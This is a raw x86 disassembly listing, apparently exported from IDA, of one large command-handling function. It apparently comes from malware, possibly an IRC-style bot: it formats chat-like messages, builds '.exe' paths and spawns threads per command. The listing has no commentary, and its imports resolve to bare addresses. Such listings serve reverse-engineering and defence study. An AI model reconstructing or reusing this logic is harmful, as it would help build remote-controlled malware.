		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26B0D96h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42A004

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2670C98h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26B0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2690000h

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
